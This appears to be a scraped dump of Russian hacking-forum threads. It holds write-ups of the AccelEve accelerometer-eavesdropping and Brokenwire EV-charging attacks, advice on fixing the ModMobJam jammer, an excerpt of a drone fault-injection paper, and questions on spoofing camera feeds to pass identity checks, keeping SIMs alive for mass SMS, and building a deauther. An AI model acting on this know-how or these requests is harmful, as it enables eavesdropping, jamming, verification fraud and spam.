Replies: 0 Views: 487

Подслушивание смартфонов со встроенным акселерометром​

Введение​

Добрый день мои птицы додо, предлагаю снова погрузиться в мир страны чудес, только не забудьте передать наперсток Алисе.

Недавно я увидела интереснейшую атаку по побочным каналам (это неинвазивные атаки, они направленны на уязвимости в практической реализации криптосистемы, а не на анализ статистических или математических слабостей), к сожалению, она не входит в мою статью касательно air gap, и я решила написать небольшой пост.

Суть атаки заключается в распознавании речи с телефонов, используя при этом их датчики движения.

Атака​

Датчики движения на современных смартфонах используются для контроля звука, из-за их чувствительности к вибрации.

Но эта угроза не считается опасной из-за двух общепризнанных ограничений:

1) Способ передачи звука.

Полагается что в отличие от микрофонов, датчики движения могут улавливать речевые сигналы с устройств лежащих на каких-либо твердых поверхностях(стол, стул, полка), за счёт вибрации. Поэтому единственной ранее жизнеспособной установкой было использование гироскопов смартфонов для подобных атак с прослушиванием.

2) Частота распознавания.

Еще ограничение исходит из того, что эти датчики могут захватывать только узкую полосу (85-100 Гц) речевого сигнала из-за ограничения дискретизации 200 Гц. Когда речь человека в чуть большем диапазоне, о чем будет сказано ниже.
**
Здесь я хочу затронуть тему того, почему же такие датчики все не безопасны, а также поговорить об относительно новой атаке по побочному каналу AccelEve.

Эта атака использует акселерометр смартфона для подслушивания динамика.**📱

В атаке исследователи используют систему, основанную на глубоком машинном обучении, которая будет распознавать и восстанавливать речевую информацию из представлений спектрограмм сигналов.

Оценка исследователей показывает, что атака «AccelEve» эффективна и очень точна в различных сценариях, к примеру, она может работать даже при сторонних шумах (на улице, в машине, в метро).🚟

Оригинал исследования прикреплю ниже.

Как проходит атака?​


**1) Злоумышленник обучает модель машинного обучения распознавать речь.

  1. Злоумышленник собирает данные вибрации датчиков движения с помощью приложения запущенного в фоновом режиме.

  2. Злоумышленник прогоняет записанные данные через свою обученную модель и получает информацию о разговорах человека.**

Смартфоны проникли в повседневную жизнь как важный интерфейс связи с остальным миром.

Среди всех различных способов общения связи, голосовая связь всегда является основной в общении.

Из-за важности голосового общения, микрофон использует самый высокий уровень привилегий по умолчанию в большинстве операционных систем (Android).

В то же время датчики движения, из-за общего мнения безопасности их использования не нуждаются в таковых привилегиях.

Анализируя показания датчиков движения на том же смартфоне, можно идентифицировать и реконструировать речевой сигнал динамика смартфона, не взламывая операционную систему и не получая доступа к рекламному менеджеру. 🫠

Причины атаки.​

Эта атака может быть вызвана следующими причинами:

  1. Права доступа.

Поскольку акселерометры и гироскопы считаются мало опасными, они обычно настраиваются как датчики с нулевым разрешением, и к ним можно получить доступ без предупреждения пользователей смартфонов.

  1. Реагирование на вибрации.

Датчики движения могут реагировать на внешние вибрации, что позволяет им улавливать определенные звуковые сигналы.
Кроме того, существует перекрытие между основной частотой человеческой речи и частотой дискретизации датчиков смартфона.
Следовательно, возможно захватывать речевые сигналы датчиком движения с нулевыми привилегиями.

Поскольку большая часть речевой информации в полосе высоких частот представляет собой гармонику основной частоты, модуль реконструкции может преобразовывать сигнал ускорения в речевой сигнал с повышенной частотой дискретизации (1500 Гц).

Согласно экспериментальным результатам, модуль реконструкции способен восстанавливать почти всю речь в точности (хоть и бывают перебои с глухими звуками из-за высоты их частот.

Детали атаки.​

Современные смартфоны обычно оснащены трехосевым акселерометром и трехосным гироскопом. 🎛

Эти датчики очень чувствительны к движению устройства и широко используются для определения ориентации, вибрации, ударов и т.д .,именно их вибрации и будет перехватывать злоумышленник.


На самом деле информация, фиксируемая датчиком движения, зависит не только от его чувствительности к окружающей среде, но и от частоты дискретизации.
**
На смартфонах под управлением Android к датчикам движения можно получить доступ с помощью четырех вариантов задержки.**

Каждая опция определяет интервал, с которым показания датчиков отправляются в приложение.

К примеру, если приложение выбирает SENSOR_DELAY_FASTEST, измерения датчика будут отправлены в приложение как можно скорее, а фактическая частота дискретизации будет определяться главным образом производительностью смартфона.

Основные частоты сигналов человеческой речи несут важную информацию.

Она определяется как частота вибрации голосовых связок и варьирует в зависимости от многих факторов самого человека. Обычно частоты находятся в диапазоне 85-255 Гц соответственно.

На какие системы воздействует?​

Атака в основном нацелена на систему Android из-за ее популярности.

Обратите внимание, что поскольку максимальная частота дискретизации акселерометра в iOS также зависит от максимальной частоты, поддерживаемой оборудованием, а значит этот метод можнораспространить и на атаку iOS.

Частота дискретизации акселерометра и гироскопа в смартфоне на базе Android не должна превышать 200 Гц, соответственно, орбитальные датчики могут улавливать человеческую речь только на очень небольшом расстоянии.

Однако, если шпионское приложение Android выбирает SENSOR_DELAY_FASTEST, измерения датчика будут отправлены в приложение как можно скорее.

Это значит, что самая быстрая частота дискретизации последних моделей смартфонов может превышать 200 Гц.
**
Таблица с детализацией в разных системах из оригинальной статьи.**

Насколько это опасно?​

Допустим, жертва использует смартфон во время важных переговоров, держа его близко к себе. Частная информация, содержащаяся в голосовых сигналах.

Шпионские приложения непрерывно в фоновом режиме собирают показания акселерометра и пытаются извлечь голосовую информацию при воспроизведении аудио сигнала через динамик смартфона (например, важный разговор с кем-либо).

Шпионское приложение потенциально может маскироваться под любое приложение, или даже хуже, легальные приложения могут юзать это для подборки рекламы, поскольку для доступа к акселерометру не требуется привилегий.

**
Приведу примеры угроз:

  1. Голосовые заметки**, человек может записывать важную для себя информацию в аудио формате (к примеру, пороли или номера телефонов). Нацеленный на человека злоумышленник может перехватить это для атак на сервисы, используемые жертвой, или хуже того, если не дальновидный юзер запишет пароль сервиса компании, в которой тот работает, злоумышленник может проникнуть внутрь инфраструктуры компании.

2) Информация о местоположении , многие приложения поддерживают голосовую навигацию, люди часто включают эту функцию, особенно в машинах, потому шпионские приложения могут отслеживать местоположение пользователя.

3) Музыкальные и видео предпочтения(это как по мне самое безобидное), но не забывайте, что полученные сведения могут быть проанализировано злоумышленником, чтобы установить привычки жертвы.

4) Аудио звонки и сообщения. Люди часто достаточно громко слушают аудио сообщения или включают на громкую связь звонки, потому такая атака может перехватить ключевую информацию из них.

Приведу пример:

Важный журналист рассказал по телефону или в аудио сообщение какую-либо важную информацию, которую он ещё не опубликовал, однако вредоносное приложение подслушало его речь с помощью датчиков движения, и злоумышленники, узнав эту информацию успели использовать ее в своих целях.

Итог​

Ну что мои птички, подведением итог:

Данная атака наглядно показывает, как датчики движения без особых прав в системе могут воспроизводить звук на близком расстоянии.

Самое страшное, что речевой сигнал из динамика смартфона всегда будет оказывать существенное влияние на показания акселерометра того же смартфона, а акселерометры в свою очередь могут охватывать почти весь диапазон основных частот речи взрослых.

А как же защититься, спросите Вы? Вот набор моих рекомендаций:

  1. Например, можно не использовать смартфон :)
  2. Как вариант, можно попробовать выпилить датчики движения.
  3. Добавить вибропоглощающий материал вокруг динамиков телефона.
  4. Попробовать ограничить разрешения приложений
  5. Отключить датчики движения на уровне системы.
  6. При разговоре по телефону, или прослушиванию информации, можно использовать наушники, а при важных разговорах держать телефоны по дальше от себя.

А на этом наша маленькая, но интересная статья подходит к концу, надеюсь вам было интересно, и Вы смогли подчерпнуть для себя полезности.

Оригинальный материал исследования будет приведен ниже, где вы сможете подробнее ознакомиться с техническими подробностями атаки.📚

Ресерч:

https://www.ndss-symposium.org/wp-content/uploads/2020/02/24076-paper.pdf

автор t.me/ShizoPrivacy

ошибка flipper
ID: 676535aeb4103b69df3735b4
Thread ID: 99018
Created: 2023-09-28T16:49:40+0000
Last Post: 2023-10-05T11:51:28+0000
Author: Silwwer
Replies: 3 Views: 485

no databases found, может кто знает как исправить

Телефон без симкарты
ID: 676535aeb4103b69df373552
Thread ID: 123804
Created: 2024-09-17T08:49:28+0000
Last Post: 2024-09-30T13:44:37+0000
Author: markelow
Prefix: GSM
Replies: 11 Views: 482

Включила смартфон. Смартфон был включен на 2-3 секунды БЕЗ СИМ-КАРТЫ.

- К Вай-Фай не когда смартфон не подключался;
- Интернет на смартфоне отсутствует по умолчанию;
- Аккаунт Гугл на смартфоне отсутствует;
- Блютуз отключен по умолчанию;
- Геолокация отключена по умолчанию.

Вопрос: смартфон мог успеть передать координаты, ближайшие точки Вай-Фай и т.д. ОпСоСу?
Зарегистрировался смартфон в сети ОпСоСов БС?

DMA карты
ID: 676535aeb4103b69df3735a0
Thread ID: 102736
Created: 2023-11-22T09:36:53+0000
Last Post: 2023-11-22T09:36:53+0000
Author: provodnik
Replies: 0 Views: 468

Привет. Есть ли возможность через DMA карту подключиться считать/записать память iPhone?

Аналоговый инжект видео потока в приложениях на Андойд 10+
ID: 676535aeb4103b69df373593
Thread ID: 105380
Created: 2024-01-09T08:17:20+0000
Last Post: 2024-01-09T08:17:20+0000
Author: adsgard
Replies: 0 Views: 466

Вопрос к знатокам, в настоящее время проблема с верификациями аккаунтов обострилась, большинство интересных контор присутствуют только в виде приложений и начиная с андройда 10, стало не возможно менять приложение камеры по умолчанию что позволяло раньше использовать изображения из галлереи в качестве источника и все обходилось достаточно просто. Сейчас чтобы проделать подобное надо изворачиваться как уж на сковородке-разблокировать возможность записи в корневой каталог и даже если удается установить альтернативное приложение в качестве дефолтного, приложения верификаций это как то чекают и все заканчивается печально. Так вот интересует есть ли какое то решение возможно на каком нибудь стороннем чипе чтобы модифицировать потоковое видео в сигнал на модуль камеры чтобы так сказать аналогово подменить сигнал для приложения чтобы оно считало что сигнал получен именно с дефолтной камеры?

esp 8266
ID: 676535aeb4103b69df3735ae
Thread ID: 100081
Created: 2023-10-14T14:48:36+0000
Last Post: 2023-10-21T19:22:35+0000
Author: Silwwer
Prefix: WiFi
Replies: 3 Views: 463

Доброго времени дня, может у кого нибудь есть инструкция по сборке деаутефикатора на основе esp8266 с экранчиком по типу часов с алика.

Как сломать микросхему
ID: 676535aeb4103b69df3735d1
Thread ID: 89903
Created: 2023-06-07T09:18:05+0000
Last Post: 2023-06-24T04:12:33+0000
Author: ZeroMempryW
Replies: 5 Views: 462

IMG-20230607-WA0000.jpg

которая Analog Devices она закодированна программатором снимаем копию, пишем на новую и оно не работает.

Brokenwire: уязвимость в системе зарядки электроавтомобилей
ID: 676535aeb4103b69df3735f4
Thread ID: 83338
Created: 2023-03-07T05:44:14+0000
Last Post: 2023-03-07T05:44:14+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 450

Brokenwire - это новая атака на комбинированную систему зарядки (CCS), одну из наиболее широко используемых технологий быстрой зарядки постоянным током для электромобилей (EV). Атака прерывает необходимый обмен данными между автомобилем и зарядным устройством, что приводит к прерыванию сеансов зарядки. Атака может быть проведена беспроводным способом на расстоянии с использованием электромагнитных помех, что позволяет одновременно вывести из строя как отдельные автомобили, так и целые парки. Кроме того, атака может быть осуществлена с помощью готового радиооборудования и минимальных технических знаний. При мощности в 1 Вт атака успешна на расстоянии около 47 м. Используемое поведение CSMA/CA является обязательной частью стандартов HomePlug GreenPHY, DIN 70121 и ISO 15118, и все известные реализации демонстрируют его.

Brokenwire имеет серьезные последствия для многих из 12 миллионов аккумуляторных электромобилей, которые, по оценкам, уже находятся на дорогах по всему миру, и оказывает значительное влияние на новую волну электрификации автопарков, как для частных предприятий, так и для важнейших государственных служб. Помимо электромобилей, Brokenwire затрагивает электрические суда, самолеты и большегрузные автомобили. В связи с этим мы провели информационную кампанию для промышленности и обсудили в нашей статье ряд методов смягчения последствий, которые могут быть использованы для ограничения воздействия.

Переведено специально для XSS.IS

Справочная информация

Технология зарядки, стандартизированная как комбинированная система зарядки (CCS) - название, представленное пользователю транспортного средства, - на самом деле представляет собой совокупность нескольких технических стандартов. Во время сеанса зарядки электромобиль (EV) и оборудование питания электромобиля (EVSE) обмениваются важными сообщениями, такими как состояние заряда (SoC) и максимально возможный ток. Высокоскоростной IP-канал, используемый для связи, обеспечивается технологией HomePlug GreenPHY (HPGP) power-line communication (PLC). В зависимости от географического региона, в CCS используются различные типы штекеров, которые показаны на рисунке ниже. Тем не менее, базовая технология одинакова.

CCS Combo 2 (EU).

ccs_combo1.jpg

CCS Combo 1 (US).

Детали атаки

Атака Brokenwire использует механизм Carrier-Sense Multiple Access with Collision Avoidance (CSMA/CA), который должен присутствовать в любой реализации, соответствующей стандарту. Поведение CSMA-CA многократно запускается, так что ни автомобиль (EV), ни зарядное устройство (EVSE) никогда не имеют возможности передать сигнал. Хотя это действие само по себе может препятствовать связи бесконечно, его нужно применять всего несколько секунд, чтобы вызвать тайм-аут на более высоких уровнях протокола связи (например, ISO 15118). В этот момент весь процесс зарядки прерывается, и злоумышленник может прекратить передачу сигнала, что делает необходимым лишь временную физическую близость к жертве.

Эксплуатация CSMA/CA

Публичный стандарт HomePlug GreenPHY определяет Carrier-Sense Multiple Access with Collision Avoidance (CSMA/CA) в качестве метода доступа к каналу. Если узел хочет передать сообщение, он проверяет, не передают ли его другие узлы. В случае обнаружения продолжающейся передачи, узел будет ждать в течение короткого, случайного периода времени, прежде чем снова попытается передать сообщение. Этот процесс повторяется бесконечно, пока среда передачи не станет незанятой, и сообщение можно будет передать.
Атака Brokenwire использует этот механизм доступа к каналу, чтобы заставить модемы PLC на обоих узлах бесконечно отключаться и прекращать связь. Атакующий непрерывно передает распознаваемый сигнал, в данном случае в виде сигнала преамбулы, убеждая все прослушивающие узлы в том, что канал занят. Передача повторяется бесконечно, так что оба узла продолжают ждать и не могут передать никаких данных.

Генерирование сигнала атаки

В HPGP преамбула используется для обозначения начала кадра, синхронизации часов приемника с передатчиком и оценки состояния канала. Все кадры начинаются со стандартной преамбулы HPGP, которой достаточно для запуска механизма CSMA/CA в узлах, которые ее получают. Поэтому Brokenwire использует форму сигнала преамбулы в качестве сигнала атаки. Преамбула определяется в стандарте как конкатенация повторяющихся символов преамбулы, каждый из которых генерируется следующим образом:

preamble_generation.jpg

где t - интервал времени трансляции преамбулы (для 0 ≤ t ≤ 384-1), C - набор незамаскированных субносителей, c - индекс субносителя, а ψ - функция, отображающая субносители на определенные фазовые смещения, определенные в стандарте.

Инъекция сигнала атаки

Как показано в работе Бейкера и др., зарядный кабель действует как неумышленная антенна, которая приводит к электромагнитной эманации. В то же время, это явление делает зарядный кабель восприимчивым к электромагнитным помехам. Поскольку кабель неэкранирован, электромагнитные волны могут легко соединяться с проводами внутри него. Хотя PLC использует дифференциальную передачу сигнала по двум проводам, любая асимметрия в этих двух путях приводит к тому, что часть сигнала все же сохраняется. Передавая сигнал атаки по воздуху, злоумышленник может вызвать достаточную связь на зарядном кабеле пострадавшего EVSE, чтобы тот смог правильно обнаружить введенные преамбулы.
Мы провели оценку атаки в лабораторных условиях в контролируемых условиях при различных расстояниях между зарядным кабелем и злоумышленником. Наш тестовый стенд состоял из тех же модемов HPGP, которые используются в большинстве EV и зарядных станций. Со стороны атакующей стороны мы использовали программно- определяемое радио (LimeSDR) вместе с усилителем мощности 1 Вт и самодельной дипольной антенной. Кроме того, мы протестировали атаку в реальных условиях на восьми автомобилях разных производителей и 20 зарядных станциях постоянного тока высокой мощности.

Результаты

Рисунок ниже иллюстрирует результаты наших лабораторных экспериментов. Наши результаты показывают, что имеющегося в продаже оборудования достаточно для осуществления атаки с расстояния до 10 м. При дополнительном усилении и общей мощности в 1 Вт мы продемонстрировали атаку в реальных условиях с расстояния около 47 м.

power_vs_distance_dBm.jpg

power_vs_distance_mW.jpg

Перейдите на**https://www.brokenwire.fail/ сайт для просмотра видео демонстрации атаки, т.к. в медиа оно не лезет**

Вопросы и ответы

Зачем кому-то прерывать процесс зарядки?

Хотя это может быть неудобством только для отдельных людей, прерывание процесса зарядки критически важных транспортных средств, таких как электрические машины скорой помощи, может иметь опасные для жизни последствия.

Пострадает ли мой автомобиль?

Потенциально! Если в вашем автомобиле есть порт для зарядки, похожий на тот, что изображен на рисунке 1, велика вероятность, что атака сработает и на вашем автомобиле.

У меня дома есть зарядное устройство, может ли кто-то помешать моей машине заряжаться?

Скорее всего, нет. Скорее всего, ваше домашнее зарядное устройство использует зарядку переменным током и другой стандарт связи (IEC 61851), поэтому оно не будет затронуто. Однако это может измениться в будущем, когда домашние зарядные устройства получат поддержку ISO 15118.

Может ли Brokenwire также сломать мой автомобиль?

Мы никогда не видели свидетельств долгосрочного ущерба, вызванного атакой Brokenwire. Основываясь на результатах наших разработок, у нас есть все основания полагать, что их не будет.

Что я могу сделать, чтобы никто не смог прервать сеанс зарядки?

На данный момент единственный способ предотвратить атаку - это не заряжаться на быстром зарядном устройстве постоянного тока.

Не проще ли просто нажать выключатель аварийного отключения или повредить кабель?

Это зависит от ситуации. Brokenwire не требует физического доступа и может нарушить зарядку сразу нескольких автомобилей на расстоянии нескольких метров, что делает эту атаку скрытной и масштабируемой.

Нужна помощь с рассылкой смс через GSM-шлюз Quectel m35
ID: 676535aeb4103b69df373589
Thread ID: 108105
Created: 2024-02-12T15:39:24+0000
Last Post: 2024-02-12T15:39:24+0000
Author: Nascar888
Replies: 0 Views: 447

У меня возникла проблема с массовой рассылкой через GSM-шлюз Quectel, стали быстро улетать симки в бан. Раньше одна симка водафон давала сделать 600-1000 смс. Сейчас 100-150 смс и симка дохнет. Рандомизация сообщений, рандомизация сылок не помогает. Скорость отправки тоже ни как не влияет на живучесть симок. Есть предположение что это оператор или сам симбанк стал убивать симки так быстро. Буду очень благодарен за любую помощь в решении этого вопроса!

На прошлой недели получилось отправить с 5 симок 10k смс, это пока рекорд. Но после этого симки стали очень быстро дохнуть.

Сброс айклауда на 14 айфоне
ID: 676535aeb4103b69df3735c4
Thread ID: 95514
Created: 2023-08-12T12:50:31+0000
Last Post: 2023-08-12T23:20:07+0000
Author: ygwoods
Replies: 8 Views: 445

Всем доброго времент суток. Знакомый попал в неприятную ситуацию. Зарегался со своего яблока в чужой айклауд и ему заблокали айфон, сделав из него кирпич.
Есть ли какие то софты перепрошивки/сброса для устройства?
Видео статью про fonelab, отзывы смешанные, говорят, мол, только на старых прокатывает айфонах.

Глушилка ModMobJam
ID: 676535aeb4103b69df373624
Thread ID: 63680
Created: 2022-03-02T01:35:42+0000
Last Post: 2022-03-02T01:35:42+0000
Author: gliderexpert
Prefix: GSM
Replies: 0 Views: 422

Решил ради интереса и общего развития изучить проект ModMobJam.

Это самый распространенный open-source постановщик помех, известный как "глушилка" систем мобильной связи.
В качестве аппаратной составляющей комплекса используется программно- управляемый приемопередатчик (SDR) HackRF.

Принцип действия. Радиоэфир сканируется при помощи программного обеспечения ModMobMap, которое составляет список принимаемых базовых станций и генерирует файл в формате .json:

Code:Copy to clipboard

{
    "****-***50": {
        "PCI": "****",
        "PLMN": "208-01",
        "TAC": "50****",
        "band": 3,
        "bandwidth": "20MHz",
        "eARFCN": 1850,
        "type": "4G"
    },
    //следующий найденный канал
}

Этот файл (по сути представляющий из себя список работающих базовых станций) передается в программу ModMobJam, которая должна генерировать помехи на нисходящих (от базовой станции - к телефону) каналах связи.

Идея интересная и напоминает принцип работы "взрослых" комплексов РЭБ, но - реализация подкачала.
Проще говоря - modmobjam, не смотря на положительные отзывы в интернете - не работает :) Совсем. Вообще. И не может.

Рассмотрим блок схему в GnuRadio.
gnuradio.png
Первая ошибка - тактовая частота ЦАП - 5МГц. А ширина полосы генератора - 10МГц.
По теореме Котельникова частота ЦАПа должна равняться удвоенной частоте сигнала или быть больше.
На вход ВЧ генератора подается шумовой сигнал, имеющий распределение Гаусса - но не ограниченный по полосе. Это не рациональное использование мощности генератора - "размазывая" спектр сигнала мы уменьшаем мощность в полосе частот подавляемого сигнала.

Для стандарта связи 4G/LTE ширина спектра помех должна быть в районе 4МГц независимо от фактической ширины канала, используемого оператором.

Принцип действия генератора шума:
while(1)
{

  1. modmobjam получает номер канала (earfcn) из файла;
  2. вычисляет центральную частоту Downlink'а
  3. настраивает генератор на эту частоту
  4. выжидает время delay (2сек по умолчанию)
  5. перенастраивает генератор на следующую частоту из списка.
    }

Спектр сигнала показан на скриншоте:

gqrx1.png

Но, если в "блок-схему" GnuRadio добавить фильтр нижних частот (lowpass) после генератора шума и установить правильные значения частоты тактового генератора SDR, а так же поправить ряд других "мелочей" - спектр становится таким:
gqrx2.png

После модификации ModMobJam действительно способен подавлять сигнал на отдельных частотах сети оператора, но скорости перестройки генератора - используя стандартные драйвера и USB-соединение, недостаточно для "глушения" всего диапазона мобильной связи, например 4G.

Для такой задачи необходимо писать нестандартную прошивку для ПЛИС приемопередатчика, либо использовать другие методы постановки помех.

Вывод - ModMobJam после некоторой доработки подходит для селективного подавления средств связи, не использующих методы расширения спектра - такие как ППРЧ и др.
Например, этим комплексом можно глушить "аналоговые" радиостанции - радиолюбительские 144/433Мгц, авиационные и т.п.
голосовую спецсвязь.
Для постановки помех системам мобильной телефонии не подходит.

Вопрос про MEID
ID: 676535aeb4103b69df37357c
Thread ID: 112475
Created: 2024-04-11T18:21:48+0000
Last Post: 2024-04-11T18:21:48+0000
Author: Dwilisuso
Replies: 0 Views: 420

Заказал 4G модем с поднебесной Sierra EM7455. Поменял IMEI. И тут увидел, что есть MEID номер. Вычитал, что MEID используется в сети CDMA. В характеристиках модема CDMA сеть в BC10 2G, аппаратно 2G и 3G отключил в модеме, оставил только LTE. Правильно я понимаю, что оператор теперь не увидит номер MEID и знающие люди подскажите, что еще оператор видит у себя про устройство связи?

Numbering Plan and Carrier Lookups
ID: 676535aeb4103b69df37359a
Thread ID: 103916
Created: 2023-12-12T04:23:47+0000
Last Post: 2023-12-12T04:23:47+0000
Author: DimmuBurgor
Prefix: GSM
Replies: 0 Views: 412

https://unlec.com/

web interface seems to expect single query at a time, and didn't notice apidoc anywhere. even without, though, automation should be effortless with how url parameters are set, if that's what you're after.
output fields are as follows:

Безопасность и неисправность дронов
ID: 676535aeb4103b69df3735d5
Thread ID: 90567
Created: 2023-06-15T09:14:31+0000
Last Post: 2023-06-15T09:14:31+0000
Author: yashechka
Prefix: Статья
Replies: 0 Views: 409

**Инъекционные атаки

Резюме**

Использование беспилотных летательных аппаратов (БПЛА), обычно называемых дронами, продолжает расти. Дроны реализуют различные уровни безопасности, а более продвинутые модули устойчивы к типичным атакам на встроенные устройства. IOActive заинтересован в разработке одной или нескольких жизнеспособных атак Fault Injection против защищенных БПЛА.

В этом документе рассматривается работа IOActive по созданию платформы для запуска атак по сторонним каналам и внедрения ошибок с использованием коммерчески доступного БПЛА. Мы описываем, как мы разрабатывали модель угрозы, выбирали предварительную цель и готовили компоненты для атаки, а также обсуждаем, чего мы надеялись достичь и конечный результат проекта.

Краткое содержание

IOActive намеревалась изучить возможность выполнения кода на коммерчески доступном беспилотнике с публично раскрытыми уязвимостями с использованием неинвазивных методов, таких как электромагнитные (ЭМ) атаки по сторонним каналам и внедрение электромагнитных сбоев (EMFI). В случае успеха мы могли бы применить извлеченные уроки к подходу полностью черного ящика и попытаться скомпрометировать устройства без известных уязвимостей.

В качестве цели мы выбрали DJI, опытного производителя, который уделяет особое внимание безопасности своих продуктов1, таких как подписанное и зашифрованное встроенное ПО, Trusted Execution Environment (TEE) и Secure Boot. Мы использовали контролируемую среду для исследования влияния атак по сторонним каналам и методов EMFI.

Мы продемонстрировали, что можно скомпрометировать целевое устройство, внедрив определенный сбой EM в нужное время во время обновления прошивки. Это позволит злоумышленнику получить выполнение кода на основном процессоре, получив доступ к ОС Android, реализующей основные функции дрона.

Введение

Дроны, также известные как беспилотные летательные аппараты (БПЛА), все чаще используются в таких отраслях, как авиация, сельское хозяйство и правоохранительные органы. По мере расширения использования этих устройств возникают проблемы с кибербезопасностью. Эти универсальные машины предлагают много преимуществ, но они также создают уникальные проблемы, когда речь идет о поддержании безопасности.

Одной из ключевых проблем является тот факт, что дроны часто управляются дистанционно. Это означает, что внешние субъекты могут получить доступ к системам управления дроном путем перехвата беспроводных сигналов, используемых для управления дроном, компрометации наземных компьютерных систем, используемых для управления дроном, или получения доступа к самому устройству; если дрон будет украден, вор может собрать конфиденциальную информацию или внедрить вредоносное ПО в систему.

В этом техническом документе рассказывается об исследовании IOActive текущего состояния безопасности в индустрии дронов. Для этой работы мы выбрали одну из самых распространенных моделей дронов DJI Mavic Pro.

Цели этого исследования заключались в том, чтобы:

• Узнать об архитектуре БПЛА
• Исследовать самые слабые места БПЛА
• Определить, какие подходы целесообразны при атаках в реальном мире.
• Получить опыт проведения атак EMFI на высокопроизводительные многоядерные системы, работающие под управлением полнофункциональных многозадачных операционных систем, а также на микроконтроллеры, работающие на «голом железе».

Этот технический документ охватывает следующие области:

• Поверхность атаки: предоставляет обзор компонентов дрона и идентифицирует ценные активы.
• Технический фон: вводит понятия о целевом беспилотнике и испытательной установке.
• Первый подход: описывает попытки IOActive использовать атаки по сторонним каналам для получения ключей расшифровки встроенного ПО.
• Второй подход: описывает попытки IOActive использовать EMFI для выполнения кода.
• Будущая работа: обсуждаются следующие шаги в исследованиях IOActive.
• Меры по защитей: рекомендации по устранению выделенной проблемы.

Поверхность атаки

Дроны используются в самых разных сферах, включая военные, коммерческие и развлекательные.
Как и любая другая технология, дроны уязвимы для различных типов атак, которые могут поставить под угрозу их функциональность и безопасность.

1686820244492.png

Как видно на Рисунке 1, дроны подвержены нескольким атакам, в зависимости от их конкретных возможностей. Некоторые распространенные поверхности атаки включают в себя:

  1. Серверная часть. Как и почти любая другая современная система, дроны уязвимы для различных атак на свои серверные системы. Злоумышленники могут использовать ряд проблем (например, внедрение SQL-кода или подделку запросов на стороне сервера), чтобы получить доступ к конфиденциальным данным, манипулировать системой или нарушить работу. Кроме того, злоумышленники могут использовать серверную систему в качестве опорной точки для запуска дальнейших атак на другие компоненты экосистемы.

  2. Мобильные приложения: Злоумышленники могут использовать уязвимости в мобильных приложениях, чтобы получить доступ к конфиденциальным данным или удаленно управлять дроном. Распространенными способами проникновения в них могут быть уязвимости в приложениях или операционной системе и даже целевые атаки.

  3. Радиочастотная (РЧ) связь. Системы радиочастотной связи используются дронами для приема и передачи команд, данных и видео. Радиочастотные атаки могут использовать различные методы, такие как глушение, спуфинг и вмешательство, чтобы нарушить или манипулировать радиочастотными сигналами, используемыми дронами. DJI реализует собственный радиочастотный протокол OcuSync для отправки видео и команд на пульт дистанционного управления, используемый для управления дроном, и с него.

  4. Физическое устройство: аппаратные или программные уязвимости могут позволить злоумышленнику получить доступ к ключевым аспектам дрона, таким как прошивка и конфиденциальная информация, и потенциально изменить его поведение.

OcuSync

OcuSync — это протокол беспроводной связи, разработанный DJI. Он используется во многих дронах DJI, включая популярную серию Mavic, для обеспечения надежной связи с малой задержкой между дроном и связанным с ним пультом дистанционного управления.

Одной из ключевых особенностей протокола OcuSync является его способность поддерживать несколько каналов связи. Это позволяет дрону автоматически переключаться между каналами, чтобы поддерживать надежное и стабильное соединение даже в сложных условиях, где могут присутствовать радиопомехи.

Протокол OcuSync также включает в себя функции безопасности для защиты беспроводной связи (OTA). Это включает в себя использование шифрования для защиты беспроводной связи между дроном и пультом дистанционного управления, а также механизмы аутентификации для предотвращения доступа неавторизованных пользователей к системам управления дроном.

Мобильные приложения

Мобильные приложения доступны как для устройств iOS, так и для Android, и они позволяют пользователям легко управлять и контролировать свои дроны со смартфона или планшета.

Некоторые из ключевых функций мобильных приложений DJI — это возможность удаленного управления движением дрона, доступ к настройкам камеры и управление камерой, а также просмотр видео в реальном времени с камеры дрона.

В дополнение к этим основным функциям управления мобильные приложения DJI также предлагают ряд расширенных возможностей, таких как автоматическое планирование полета, создание пользовательского маршрута полета, а также возможность доступа и управления журналами полетов дрона и другими данными.

Ресурсы

Первоначальная цель IOActive состояла в том, чтобы получить доступ к прошивке дрона и найти уязвимости в открытой поверхности атаки. Ниже перечислены активы, на которые может нацелиться злоумышленник, в зависимости от желаемого результата.

Прошивка

Программное обеспечение, работающее на платформе System-on-Chip (SoC) целевого устройства, является святым Граалем для исследования уязвимостей. Путем обратного проектирования самой последней версии программного обеспечения, управляющего коммуникациями, можно получить более полное представление о системе и выявить потенциальные недостатки и уязвимости в системе безопасности.

Для Mavic Pro DJI предоставляет только подписанные и зашифрованные пакеты прошивки. Общедоступный эксплойт для Mavic Pro3 позволил IOActive разрешить отладочный доступ к устройству. Эта информация позволила нам лучше понять внутренности устройства и продолжить наше исследование.

Бесполетные зоны

Большинство БПЛА имеют несколько «запретных для полетов зон», чтобы предотвратить несчастные случаи и несанкционированное использование. Эти бесполетные зоны — это области, где беспилотнику не разрешается взлетать или летать, и они предназначены для защиты важных мест, таких как аэропорты, военные базы и другие области, где работа дрона может представлять угрозу безопасности.

Конфиденциальная информация

Использование дронов для хранения информации, такой как планы полета, изображения и другие потенциально конфиденциальные данные, требует рассмотрения в определенных контекстах.

Архитектура дронов

DJI включает в свои дроны ряд датчиков и периферийных устройств, чтобы обеспечить расширенные возможности и повысить производительность.

• Гироскопы и акселерометры используются для измерения ориентации и движения дрона, предоставляя информацию, необходимую для поддержания стабильности и контроля.
• Барометры измеряют атмосферное давление, позволяя дрону определять свою высоту и поддерживать постоянную высоту полета.
• Датчики глобальной системы позиционирования (GPS) используются для определения местоположения дрона и включения таких функций, как автоматический взлет и посадка и геозоны.
• Датчики компаса используются для определения направления дрона и включения таких функций, как автоматическая навигация по путевым точкам.
• Ультразвуковые датчики используются для измерения расстояния до земли или других объектов и включения таких функций, как автоматическое зависание и обход препятствий.
• Камеры используются для съемки фотографий или видеоматериалов с высоты птичьего полета. Дроны оснащены камерами, которые позволяют пользователям видеть то, что видит дрон, в режиме реального времени, а также снимать изображения и видео с уникальных ракурсов, которые были бы невозможны с помощью традиционной камеры.

Два основных процессора в DJI Mavic Pro:

  1. Процессор обработки видео и изображений: этот SoC производится Ambarella International LP (Ambarella), технологической компанией, которая специализируется на проектировании и разработке маломощных полупроводников для обработки видео высокой четкости. Компания была основана в 2004 году, ее штаб- квартира находится в Санта-Кларе, Калифорния. Продукты Ambarella используются в различных приложениях, включая камеры видеонаблюдения, дроны и спортивные камеры. Чипы компании известны своей способностью захватывать и передавать видео высокого качества, потребляя при этом очень мало энергии.

